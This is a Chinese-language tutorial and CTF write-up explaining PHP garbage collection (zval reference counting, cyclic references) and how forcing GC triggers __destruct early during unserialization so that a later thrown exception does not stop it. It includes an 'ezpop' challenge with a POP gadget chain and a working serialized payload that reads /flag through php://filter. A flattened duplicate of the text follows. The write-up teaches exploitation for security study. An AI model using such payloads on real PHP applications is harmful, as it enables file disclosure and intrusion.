php中GC垃圾回收机制的利用
字数 737 2025-08-06 08:34:49

PHP中GC垃圾回收机制的利用详解

一、GC垃圾回收机制概述

PHP使用引用计数回收周期来自动管理内存对象。当一个变量被设置为NULL,或者没有任何指针指向时,它就会被变成垃圾,被GC机制自动回收。

关键概念:

  • 当一个对象没有被引用时,就会被GC机制回收
  • 在回收过程中会自动触发__destruct方法
  • 这是绕过抛出异常的关键点

二、引用计数原理

PHP变量存储在"zval"变量容器中,包含以下关键信息:

zval结构

struct _zval_struct {
    zend_value value;
    union { ... } u1;  // 用于识别变量类型
    union { ... } u2;  // 辅助字段
};

zend_value联合体

typedef union _zval_value {
    zend_long lval;         // 整形
    double dval;            // 浮点型
    zend_refcounted *counted; // 获取不同类型的gc头部
    zend_string *str;       // string字符串
    zend_array *arr;        // 数组
    zend_object *obj;       // 对象
    // ...其他类型
} zend_value;

引用计数头结构

typedef struct _zend_refcounted_h {
    uint32_t refcount;      // 引用计数器32位
    union {
        struct {
            zend_uchar type;
            zend_uchar flags;  // 用于字符串和对象
            uint16_t gc_info;   // 保持GC根编号(或0)和颜色
        } v;
        uint32_t type_info;
    } u;
} zend_refcounted_h;

关键字段解释

  1. is_ref:bool值,标识变量是否属于引用集合
  2. refcount:表示指向这个zval变量容器的变量个数

三、引用计数示例

基本示例

$a = "new string";
xdebug_debug_zval('a');
// 输出: a: (refcount=1, is_ref=0)='new string'

增加引用计数

$a = "new string";
$b = &$a;
xdebug_debug_zval('a');
// 输出: a: (refcount=2, is_ref=1)='new string'

减少引用计数

$a = "new string";
$b = &$a;
$c = &$b;
xdebug_debug_zval('a');  // refcount=3, is_ref=1
unset($b, $c);
xdebug_debug_zval('a');  // refcount=1, is_ref=1

拷贝复制机制

$a = 'hello';
$b = $a;  // $a的值并没有真的复制
echo xdebug_debug_zval('a');  // $a的引用计数为0

$a = 'world';  // 此时才真正复制
echo xdebug_debug_zval('a');  // $a的引用计数为0

四、垃圾回收机制

回收条件

  1. 当zval的refcount=0时,直接释放内存
  2. 当refcount>0时,也可能被认为是垃圾(循环引用情况)

循环引用示例

$arr = [1];
$arr[] = &$arr;
unset($arr);

这种情况下,zend_value不会被立即释放,而是被放入垃圾回收堆中进行二次检测。

五、GC在PHP反序列化中的应用

基本示例

class test {
    public $num;
    public function __construct($num) {
        $this->num = $num;
        echo $this->num."__construct"."</br>";
    }
    public function __destruct() {
        echo $this->num."__destruct()"."</br>";
    }
}

$a = new test(1);
$b = new test(2);
$c = new test(3);
// 正常情况下,销毁方法最后执行

主动触发GC

$a = new test(1);
unset($a);  // 立即触发__destruct
$b = new test(2);
$c = new test(3);

绕过异常抛出

class B {
    function __destruct() {
        global $flag;
        echo $flag;
    }
}

// 反序列化数组,第一个元素为对象,第二个为0
$a = array(new B, 0);
echo serialize($a); 
// 输出: a:2:{i:0;O:1:"B":0:{}i:1;i:0;}

// 修改为触发GC的payload
a:2:{i:0;O:1:"B":0:{}i:0;i:0;}

六、实战案例 - ezpop题目

题目源码

class night {
    public $night;
    public function __destruct() {
        echo $this->night . '哒咩咩哟';
    }
}

class day {
    public $day;
    public function __toString() {
        echo $this->day->go();
    }
    public function __call($a, $b) {
        echo $this->day->getFlag();
    }
}

class light {
    public $light;
    public function __invoke() {
        echo $this->light->d();
    }
}

class dark {
    public $dark;
    public function go() {
        ($this->dark)();
    }
    public function getFlag() {
        include(hacked($this->dark));
    }
}

function hacked($s) {
    if(substr($s, 0, 1) == '/') {
        die('呆jio步');
    }
    $s = preg_replace('/','.',$s);
    $s = urldecode($s);
    $s = htmlentities($s, ENT_QUOTES, 'UTF-8');
    return strip_tags($s);
}

$un = unserialize($_POST['快给我传参pop']);
// throw new Exception('seino');

攻击链构造

class night { public $night; }
class day { public $day; }
class light { public $light; }
class dark { public $dark; }

$a = new night();
$a->night = new day();
$a->night->day = new dark();
$a->night->day->dark = new light();
$a->night->day->dark->light = new day();
$a->night->day->dark->light->day = new dark();
$a->night->day->dark->light->day->dark = 'php://filter/convert.base64-encode/resource=/flag';

$b = array($a, 0);  // 利用GC机制绕过异常
echo serialize($b);

最终payload

a:2:{i:0;O:5:"night":1:{s:5:"night";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";O:5:"light":1:{s:5:"light";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";s:49:"php://filter/convert.base64-encode/resource=/flag";}}}}}}i:1;i:0;}

修改为:

a:2:{i:0;O:5:"night":1:{s:5:"night";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";O:5:"light":1:{s:5:"light";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";s:49:"php://filter/convert.base64-encode/resource=/flag";}}}}}}i:0;i:0;}

七、关键知识点总结

  1. GC触发条件:refcount=0或循环引用
  2. __destruct触发:对象被销毁时自动调用
  3. 绕过异常技巧:利用数组和GC机制强制触发析构
  4. 反序列化利用:构造特殊对象链触发漏洞
  5. 引用计数机制:理解is_ref和refcount的作用

通过深入理解PHP的GC机制,可以在安全测试中发现更多利用点,特别是在反序列化漏洞的利用中,GC机制常常是绕过限制的关键。

PHP中GC垃圾回收机制的利用详解 一、GC垃圾回收机制概述 PHP使用 引用计数 和 回收周期 来自动管理内存对象。当一个变量被设置为NULL,或者没有任何指针指向时,它就会被变成垃圾,被GC机制自动回收。 关键概念: 当一个对象没有被引用时,就会被GC机制回收 在回收过程中会自动触发 __destruct 方法 这是绕过抛出异常的关键点 二、引用计数原理 PHP变量存储在"zval"变量容器中,包含以下关键信息: zval结构 zend_ value联合体 引用计数头结构 关键字段解释 is_ ref :bool值,标识变量是否属于引用集合 refcount :表示指向这个zval变量容器的变量个数 三、引用计数示例 基本示例 增加引用计数 减少引用计数 拷贝复制机制 四、垃圾回收机制 回收条件 当zval的refcount=0时,直接释放内存 当refcount>0时,也可能被认为是垃圾(循环引用情况) 循环引用示例 这种情况下,zend_ value不会被立即释放,而是被放入垃圾回收堆中进行二次检测。 五、GC在PHP反序列化中的应用 基本示例 主动触发GC 绕过异常抛出 六、实战案例 - ezpop题目 题目源码 攻击链构造 最终payload 修改为: 七、关键知识点总结 GC触发条件 :refcount=0或循环引用 __ destruct触发 :对象被销毁时自动调用 绕过异常技巧 :利用数组和GC机制强制触发析构 反序列化利用 :构造特殊对象链触发漏洞 引用计数机制 :理解is_ ref和refcount的作用 通过深入理解PHP的GC机制,可以在安全测试中发现更多利用点,特别是在反序列化漏洞的利用中,GC机制常常是绕过限制的关键。